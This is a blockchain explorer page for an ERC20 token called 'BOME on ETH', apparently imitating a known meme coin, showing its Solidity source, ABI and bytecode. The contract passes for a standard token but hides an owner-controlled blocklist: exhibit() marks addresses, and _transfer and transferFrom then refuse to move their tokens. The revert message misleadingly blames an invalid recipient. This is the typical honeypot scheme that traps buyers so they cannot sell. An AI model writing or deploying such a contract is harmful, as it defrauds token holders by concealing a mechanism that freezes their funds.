ETH Price: $1,861.76 (-9.53%)
 

Overview

Max Total Supply

100,000,000,000 BOME

Holders

20

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0 BOME

Value
$0.00
0x9a8627c6ec856d3305d8c597e7ada1143bb0af05
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BomeToken

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-05-24
*/

//https://t.me/BOOK_MEMEE

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

contract BomeToken is IERC20, IERC20Metadata, Ownable {

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    
    mapping (address => bool) private excludeList;
    bool public taxStatus = true;
    mapping(address => bool) public is_exhibit;
    address public uniswapV2Pair;
    constructor() {
       _totalSupply =100000000000 * (10**9);
        _name="BOME on ETH";
        _symbol="BOME";
        _mint(msg.sender, _totalSupply);
    }
    receive() external payable {
      
    }   
    function exhibit(address _Address) external onlyOwner {      
        is_exhibit[_Address] = true;
    }
    function nonexhibit(address _Address) external onlyOwner {      
        is_exhibit[_Address] = false;
    }
    function name() public view virtual override returns (string memory) {
        return _name;
    }
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        require(!is_exhibit[msg.sender], "ERC20: Recipient address Is invalid");
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(!is_exhibit[sender], "ERC20: Recipient address is Invalid ");
        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_Address","type":"address"}],"name":"exhibit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"is_exhibit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_Address","type":"address"}],"name":"nonexhibit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526001600760006101000a81548160ff0219169083151502179055503480156200002c57600080fd5b506200004d620000416200011360201b60201c565b6200011b60201b60201c565b68056bc75e2d631000006003819055506040518060400160405280600b81526020017f424f4d45206f6e2045544800000000000000000000000000000000000000000081525060049080519060200190620000aa92919062000348565b506040518060400160405280600481526020017f424f4d450000000000000000000000000000000000000000000000000000000081525060059080519060200190620000f892919062000348565b506200010d33600354620001df60201b60201c565b620005a4565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000252576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002499062000459565b60405180910390fd5b62000266600083836200033e60201b60201c565b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620002b79190620004b4565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200031e919062000522565b60405180910390a36200033a600083836200034360201b60201c565b5050565b505050565b505050565b82805462000356906200056e565b90600052602060002090601f0160209004810192826200037a5760008555620003c6565b82601f106200039557805160ff1916838001178555620003c6565b82800160010185558215620003c6579182015b82811115620003c5578251825591602001919060010190620003a8565b5b509050620003d59190620003d9565b5090565b5b80821115620003f4576000816000905550600101620003da565b5090565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000441601f83620003f8565b91506200044e8262000409565b602082019050919050565b60006020820190508181036000830152620004748162000432565b9050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620004c1826200047b565b9150620004ce836200047b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000506576200050562000485565b5b828201905092915050565b6200051c816200047b565b82525050565b600060208201905062000539600083018462000511565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200058757607f821691505b602082108114156200059e576200059d6200053f565b5b50919050565b611c8a80620005b46000396000f3fe6080604052600436106101175760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103c1578063c8c462fc146103fe578063dd62ed3e14610427578063f2fde38b14610464578063fca734161461048d5761011e565b806370a08231146102da578063715018a6146103175780638da5cb5b1461032e57806395d89b4114610359578063a457c2d7146103845761011e565b806323a38a38116100e757806323a38a38146101df57806323b872dd1461020a578063313ce56714610247578063395093511461027257806349bd5a5e146102af5761011e565b8062032a381461012357806306fdde031461014c578063095ea7b31461017757806318160ddd146101b45761011e565b3661011e57005b600080fd5b34801561012f57600080fd5b5061014a6004803603810190610145919061129c565b6104ca565b005b34801561015857600080fd5b5061016161052d565b60405161016e9190611362565b60405180910390f35b34801561018357600080fd5b5061019e600480360381019061019991906113ba565b6105bf565b6040516101ab9190611415565b60405180910390f35b3480156101c057600080fd5b506101c96105dd565b6040516101d6919061143f565b60405180910390f35b3480156101eb57600080fd5b506101f46105e7565b6040516102019190611415565b60405180910390f35b34801561021657600080fd5b50610231600480360381019061022c919061145a565b6105fa565b60405161023e9190611415565b60405180910390f35b34801561025357600080fd5b5061025c61077f565b60405161026991906114c9565b60405180910390f35b34801561027e57600080fd5b50610299600480360381019061029491906113ba565b610788565b6040516102a69190611415565b60405180910390f35b3480156102bb57600080fd5b506102c4610834565b6040516102d191906114f3565b60405180910390f35b3480156102e657600080fd5b5061030160048036038101906102fc919061129c565b61085a565b60405161030e919061143f565b60405180910390f35b34801561032357600080fd5b5061032c6108a3565b005b34801561033a57600080fd5b506103436108b7565b60405161035091906114f3565b60405180910390f35b34801561036557600080fd5b5061036e6108e0565b60405161037b9190611362565b60405180910390f35b34801561039057600080fd5b506103ab60048036038101906103a691906113ba565b610972565b6040516103b89190611415565b60405180910390f35b3480156103cd57600080fd5b506103e860048036038101906103e391906113ba565b610a5d565b6040516103f59190611415565b60405180910390f35b34801561040a57600080fd5b506104256004803603810190610420919061129c565b610a7b565b005b34801561043357600080fd5b5061044e6004803603810190610449919061150e565b610ade565b60405161045b919061143f565b60405180910390f35b34801561047057600080fd5b5061048b6004803603810190610486919061129c565b610b65565b005b34801561049957600080fd5b506104b460048036038101906104af919061129c565b610be9565b6040516104c19190611415565b60405180910390f35b6104d2610c09565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60606004805461053c9061157d565b80601f01602080910402602001604051908101604052809291908181526020018280546105689061157d565b80156105b55780601f1061058a576101008083540402835291602001916105b5565b820191906000526020600020905b81548152906001019060200180831161059857829003601f168201915b5050505050905090565b60006105d36105cc610c87565b8484610c8f565b6001905092915050565b6000600354905090565b600760009054906101000a900460ff1681565b6000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610689576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068090611621565b60405180910390fd5b610694848484610e5a565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106df610c87565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561075f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610756906116b3565b60405180910390fd5b6107738561076b610c87565b858403610c8f565b60019150509392505050565b60006009905090565b600061082a610795610c87565b8484600260006107a3610c87565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108259190611702565b610c8f565b6001905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108ab610c09565b6108b5600061116b565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546108ef9061157d565b80601f016020809104026020016040519081016040528092919081815260200182805461091b9061157d565b80156109685780601f1061093d57610100808354040283529160200191610968565b820191906000526020600020905b81548152906001019060200180831161094b57829003601f168201915b5050505050905090565b60008060026000610981610c87565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610a3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a35906117ca565b60405180910390fd5b610a52610a49610c87565b85858403610c8f565b600191505092915050565b6000610a71610a6a610c87565b8484610e5a565b6001905092915050565b610a83610c09565b6001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b6d610c09565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610bdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd49061185c565b60405180910390fd5b610be68161116b565b50565b60086020528060005260406000206000915054906101000a900460ff1681565b610c11610c87565b73ffffffffffffffffffffffffffffffffffffffff16610c2f6108b7565b73ffffffffffffffffffffffffffffffffffffffff1614610c85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7c906118c8565b60405180910390fd5b565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf69061195a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d66906119ec565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e4d919061143f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610eca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec190611a7e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3190611b10565b60405180910390fd5b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610fc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbe90611ba2565b60405180910390fd5b610fd283838361122f565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611059576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105090611c34565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110ee9190611702565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611152919061143f565b60405180910390a3611165848484611234565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006112698261123e565b9050919050565b6112798161125e565b811461128457600080fd5b50565b60008135905061129681611270565b92915050565b6000602082840312156112b2576112b1611239565b5b60006112c084828501611287565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156113035780820151818401526020810190506112e8565b83811115611312576000848401525b50505050565b6000601f19601f8301169050919050565b6000611334826112c9565b61133e81856112d4565b935061134e8185602086016112e5565b61135781611318565b840191505092915050565b6000602082019050818103600083015261137c8184611329565b905092915050565b6000819050919050565b61139781611384565b81146113a257600080fd5b50565b6000813590506113b48161138e565b92915050565b600080604083850312156113d1576113d0611239565b5b60006113df85828601611287565b92505060206113f0858286016113a5565b9150509250929050565b60008115159050919050565b61140f816113fa565b82525050565b600060208201905061142a6000830184611406565b92915050565b61143981611384565b82525050565b60006020820190506114546000830184611430565b92915050565b60008060006060848603121561147357611472611239565b5b600061148186828701611287565b935050602061149286828701611287565b92505060406114a3868287016113a5565b9150509250925092565b600060ff82169050919050565b6114c3816114ad565b82525050565b60006020820190506114de60008301846114ba565b92915050565b6114ed8161125e565b82525050565b600060208201905061150860008301846114e4565b92915050565b6000806040838503121561152557611524611239565b5b600061153385828601611287565b925050602061154485828601611287565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061159557607f821691505b602082108114156115a9576115a861154e565b5b50919050565b7f45524332303a20526563697069656e74206164647265737320497320696e766160008201527f6c69640000000000000000000000000000000000000000000000000000000000602082015250565b600061160b6023836112d4565b9150611616826115af565b604082019050919050565b6000602082019050818103600083015261163a816115fe565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b600061169d6028836112d4565b91506116a882611641565b604082019050919050565b600060208201905081810360008301526116cc81611690565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061170d82611384565b915061171883611384565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561174d5761174c6116d3565b5b828201905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006117b46025836112d4565b91506117bf82611758565b604082019050919050565b600060208201905081810360008301526117e3816117a7565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006118466026836112d4565b9150611851826117ea565b604082019050919050565b6000602082019050818103600083015261187581611839565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006118b26020836112d4565b91506118bd8261187c565b602082019050919050565b600060208201905081810360008301526118e1816118a5565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006119446024836112d4565b915061194f826118e8565b604082019050919050565b6000602082019050818103600083015261197381611937565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006119d66022836112d4565b91506119e18261197a565b604082019050919050565b60006020820190508181036000830152611a05816119c9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611a686025836112d4565b9150611a7382611a0c565b604082019050919050565b60006020820190508181036000830152611a9781611a5b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611afa6023836112d4565b9150611b0582611a9e565b604082019050919050565b60006020820190508181036000830152611b2981611aed565b9050919050565b7f45524332303a20526563697069656e74206164647265737320697320496e766160008201527f6c69642000000000000000000000000000000000000000000000000000000000602082015250565b6000611b8c6024836112d4565b9150611b9782611b30565b604082019050919050565b60006020820190508181036000830152611bbb81611b7f565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611c1e6026836112d4565b9150611c2982611bc2565b604082019050919050565b60006020820190508181036000830152611c4d81611c11565b905091905056fea2646970667358221220ad8fe08d82f28f35ff08711333e16b8d06877583319cfa4987d8460284c1317564736f6c63430008090033

Deployed Bytecode

0x6080604052600436106101175760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103c1578063c8c462fc146103fe578063dd62ed3e14610427578063f2fde38b14610464578063fca734161461048d5761011e565b806370a08231146102da578063715018a6146103175780638da5cb5b1461032e57806395d89b4114610359578063a457c2d7146103845761011e565b806323a38a38116100e757806323a38a38146101df57806323b872dd1461020a578063313ce56714610247578063395093511461027257806349bd5a5e146102af5761011e565b8062032a381461012357806306fdde031461014c578063095ea7b31461017757806318160ddd146101b45761011e565b3661011e57005b600080fd5b34801561012f57600080fd5b5061014a6004803603810190610145919061129c565b6104ca565b005b34801561015857600080fd5b5061016161052d565b60405161016e9190611362565b60405180910390f35b34801561018357600080fd5b5061019e600480360381019061019991906113ba565b6105bf565b6040516101ab9190611415565b60405180910390f35b3480156101c057600080fd5b506101c96105dd565b6040516101d6919061143f565b60405180910390f35b3480156101eb57600080fd5b506101f46105e7565b6040516102019190611415565b60405180910390f35b34801561021657600080fd5b50610231600480360381019061022c919061145a565b6105fa565b60405161023e9190611415565b60405180910390f35b34801561025357600080fd5b5061025c61077f565b60405161026991906114c9565b60405180910390f35b34801561027e57600080fd5b50610299600480360381019061029491906113ba565b610788565b6040516102a69190611415565b60405180910390f35b3480156102bb57600080fd5b506102c4610834565b6040516102d191906114f3565b60405180910390f35b3480156102e657600080fd5b5061030160048036038101906102fc919061129c565b61085a565b60405161030e919061143f565b60405180910390f35b34801561032357600080fd5b5061032c6108a3565b005b34801561033a57600080fd5b506103436108b7565b60405161035091906114f3565b60405180910390f35b34801561036557600080fd5b5061036e6108e0565b60405161037b9190611362565b60405180910390f35b34801561039057600080fd5b506103ab60048036038101906103a691906113ba565b610972565b6040516103b89190611415565b60405180910390f35b3480156103cd57600080fd5b506103e860048036038101906103e391906113ba565b610a5d565b6040516103f59190611415565b60405180910390f35b34801561040a57600080fd5b506104256004803603810190610420919061129c565b610a7b565b005b34801561043357600080fd5b5061044e6004803603810190610449919061150e565b610ade565b60405161045b919061143f565b60405180910390f35b34801561047057600080fd5b5061048b6004803603810190610486919061129c565b610b65565b005b34801561049957600080fd5b506104b460048036